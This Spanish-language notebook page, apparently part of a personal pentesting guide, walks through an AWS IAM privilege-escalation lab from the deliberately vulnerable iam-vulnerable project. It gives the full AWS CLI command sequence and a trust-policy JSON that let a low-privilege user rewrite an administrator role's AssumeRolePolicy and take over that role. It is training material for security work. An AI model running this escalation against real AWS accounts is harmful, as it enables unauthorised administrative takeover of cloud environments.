💻
My Personal Hacking Path
  • 👓Wellcome
    • My Personal Hacking Path
      • Whoami
  • 📚Mi Metodología de Pentesting
    • Tipos de evaluaciones
      • El día a día en pentesting
    • Metodología Propia
      • OWASP
      • OSSTMM
      • PTES
      • CEH Hacking Metodology (CHM)
      • Cyber Kill Chain
      • MITRE Att&ck
    • Fase 0 - Pre Evalaución
    • Fase 1 - Reconocimiento
      • Web / Host
      • SubDominios
      • Descubrimiento de correos electrónicos
      • Escaneo de Puertos
      • Credenciales y brechas de seguridad
      • ¿Sin Ideas?
    • Fase 2 - Explotación
      • Shells
        • Diferencia entre una WebShell y Reverse Shell
      • Payload
      • Network Penetration Services
        • 20|21 - FTP
        • 22 - SSH
        • 139|445- SMB
        • 80|443 - HTTP/HTTPS
    • Fase 3 - Post Explotación
      • Enumeración
      • Linux
        • Enumeración
        • Privilege Escalation
      • Windows
        • Revershell
        • Windows Enum
        • Privilege Escalation
    • Fase 4 - Reporting
      • CVSS
        • v4.0
      • Toma de notas
  • 👾Malware
    • Malware DevOps
    • Arquitectura de Windows
      • Windows API
      • Procesos de Windows
      • Estructuras no documentadas
    • PE
      • DLL
    • Almacenamiento del Payload
      • .data & .rdata
      • .text
      • .rsrc
    • Cifrado de Payload
      • XOR
      • RC4
      • AES
    • Ofuscación de Payload
      • IPv4/IPv6Fuscation
      • MACFucscation
      • UUIDFuscation
    • Process Injectión
      • DLL Injection
      • Shellcode Injection
      • APC Injection
  • 🌐Web-Pentesting
    • Metodología para Pentesting Web
    • Footprinting
      • Identificación Tecnologías web
        • WordPress
        • Joomla
        • Drupal
        • Magento
      • Fuzzing
      • Validación de los certificados
    • Vulnerabilidades comunes
      • File Upload
      • SQL Injection
      • Cross-site scripting
      • XXE Injection
      • LFI - Local File Inclusion
        • Log Poisoning
      • RFI - Remote File Inclusión
      • CSRF - Cross-Site Request Forgery
      • SSRF - Server-Side Request Forgery
      • SSTI - Server-Side Template Injection
      • CSTI - Client-Side Template Injection
      • Padding Oracle Attack
      • NoSQL Injection
      • LDAP Injection
    • Laboratorios
  • ☁️AWS Pentesting
    • Introducción a Amazon Web Services AWS
    • Acceso Inicial
    • IAM
      • Políticas de IAM
      • Enumeraciones
      • Privesc-Paths
        • Permisos de IAM
        • Permisos sobre políticas
        • AssumeRolePolicy Update
        • IAM:PassRole*
          • PassExistingRoleToCloudFormation
    • S3
      • Enumeración
      • S3_public
      • OSINT
    • Lambda
      • Enum Lambda
      • Enum API Gateway
      • Privesc-Paths
        • RCE sobre Lambda
        • PassExistingRoleToNewLambdaThenInvoke
        • PassRoleToNewLambdaThenTrigger
        • EditExistingLambdaFunctionWithRole
    • EC2
      • Enumeración
      • Privesc-Paths
        • EC2_SSRF
        • CreateEC2WhithExistingIP
        • PassExistingRoleToNewGlueDevEndpoint
        • ECS_takeover
    • VPC
      • Enumeración
      • PivotingInTheCloud
    • Bases de Datos
      • RDS
        • Enumeración
      • DynamoDB
        • Enumeración
    • ECS
      • Enum ECR
      • Enum ECS
      • Enum EKS
    • AWS Secrets Manager
      • Enumeración
    • Análisis de vulnerabilidades Automatizado
    • Blue Team AWS
      • CloudTrail
      • CloudWatch
      • GuardDuty
      • AWS Inspector
      • AWS Shield
      • Web Application Firewall
    • Notas
      • Terraform
  • 🔫Red_Team
    • Introducción a Red Team
      • Assume breach
    • ¿Qué es MITRE ATT&CK?
      • Guia de uso de Invoke-AtomicRedTeam
    • C2 Comando y control
      • Sliver C2
        • Instalación
        • Beacons y Sesiones
        • Perfiles
        • mTLS y WiewGuard
        • HTTP / HTTPS
        • DNS
        • Stagers: Basics
        • Stagers: Proccess Injection
        • Basics de Implates
        • Ejecución de Assembly
        • Sideload
        • SpawnDLL
        • Sliver Extensions
  • 💾Active Directory
    • Teoria
      • Componentes Físicos
      • Componentes Lógicos
      • GPO VS ACL
      • Kerberos
        • Funcionamiento de Kerberos
      • Usuarios por defecto
    • Enumeraciones
      • ¿Por qué enumerar?
      • Enumeración manual
      • Enumeración con PowerView
    • Ataques en AD
      • Mimikats
        • Comandos
      • Password Spraying
      • LLMNR Poisoning
      • Relay Attacks
        • NTLM
      • Kerberoasting
    • Tools
      • AuxRecon
      • Powershell
      • PowerView.ps1
      • ADPeas
      • Mimikatz
        • Comandos
    • AD Lab
  • 🌩️Azure Coud Pentesting
    • Introducción a Azure y Office 365
    • Introducción a Microsoft Indentity Services
    • Enumeración
    • Azure Files
      • Encontrar Fuga de Datos
    • Microsoft Graph
    • Notas
  • 📱Mobile Pentesting
    • Análisis de Aplicaciones Móviles en MobSF
    • ¿Cómo interceptar tráfico de una aplicación Flutter Android con Burp?
  • 📶Wireless
    • Terminología
    • Tipos de Wireless Networks
    • Formas de Autenticación
    • Cifrados
      • WEP
      • WPA
      • WPA2
      • WPA3
    • Ataques
  • 😎Extras
    • Docker
      • Port Forward y volúmenes
      • Docker Compose
      • Container Breakouts
    • Comandos Utiles
    • Fliper Zero
    • Páginas útiles
  • Kali Set Up
Con tecnología de GitBook
En esta página
  • Laboratorio
  • Configuración inicial
  • Explotación
  1. AWS Pentesting
  2. IAM
  3. Privesc-Paths

AssumeRolePolicy Update

Lab: IAM vulnerable

AnteriorPermisos sobre políticasSiguienteIAM:PassRole*

Última actualización hace 1 año

Una AssumeRolePolicy (también denominada política de confianza), define qué entidades pueden asumir un rol. El permiso para actualizar una AssumeRolePolicy cae técnicamente en la categoría de escalada de privilegios "Permisos sobre políticas". Sin embargo, AssumeRolePolicy merece una categoría aparte debido a su importancia en los entornos de AWS, además del hecho de que a menudo se malinterpreta.

La política llamada MiPoliticaEC2, especifica que el rol solamente puede ser asumida por el servicio EC2, como se indica en el objeto del JSON: “service”: “ec2.amazonaws.com”.

Cuando otra entidad del entorno (como un usuario u otro servicio) que intente asumir este rol AWS denegará la solicitud. Esta es una protección importante contra los intentos de escalar privilegios asumiendo un rol de privilegios elevados.

El permiso iam:UpdateAssumeRolePolicy proporciona a una entidad la capacidad de cambiar la AssumeRolePolicy de un rol. Por lo tanto, si un usuario no está incluido en esta política, pero tiene la capacidad de actualizarla, simplemente puede agregar su cuenta de usuario AssumeRolePolicy, y en consecuencia, asumir el rol. Según los permisos asociados con el rol, esto podría proporcionar una ruta para la escalada de privilegios.

Laboratorio

Usuario del laboratorio:privesc14-UpdatingAssumeRolePolicy-user con el rol:

Configuración inicial

Listar las políticas asociadas al usuario:

aws iam list-attached-user-policies --user-name privesc14-UpdatingAssumeR olePolicy-user

Después, usando el ARN del nombre de la política se puede listar los permisos:

aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc14-UpdatingAssumeRolePolicy --version-id v1

Ahora se tiene que generar llaves de acceso para trabajar con el usuario:

aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc14- UpdatingAssumeRolePolicy-role --role-session-name privesc14

Y configurar el acceso con AWS configure:

aws configure --profile privesc14

Y validar las llaves:

aws sts get-caller-identity --profile privesc14

Explotación

En este escenario, se tiene que crear un documento de política que contenga el permiso sts:AssumeRole sobre el ARN del usuario atacante

assumerolepolicy.json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:sts::651927172911:assumed-role/privesc14-UpdatingAssumeRolePolicy-role/privesc14"
            },
            "Action": "sts:AssumeRole",
            "Condition": {}
        }
    ]
}

El ARN del usuario que se encuentra en nuestra política maliciosa es el valor resultante del comando aws sts get-caller-identity

A continuación, se tiene que modificar la política para un rol administrativo con el permiso update-assume-role-policy , con el objetivo de que el usuario privesc14 pueda asumir dicho rol:

aws iam update-assume-role-policy --role-name Rol-Administrator --policy-document file://assumerolepolicy.json --profile privesc14

Listando el rol que se acaba de de actualizar se puede observar que tiene capacidades de administrador

Dado que el rol apunta ahora a nuestro usuario y el usuario tiene capacidades de asumir roles, procedemos a asumir el rol actualizado malicioso:

aws sts assume-role --role-arn arn:aws:iam::651927172911:role/Rol-Administrator-Spartan --role-session-name privesc14admin --profile privesc14

Con las nuevas credenciales se proceden a configurar en aws configure con un nuevo perfil

aws configure --profile privesc14admin

Y dado que este rol ahora tiene permisos de administrador, podemos decir que se a comprometido exitosamente.

☁️
GitHub - BishopFox/iam-vulnerable: Use Terraform to create your own vulnerable by design AWS IAM privilege escalation playground.GitHub
Lab: IAM - Vulnerable | Escenario: privesc14
Logo
MiPoliticaEC2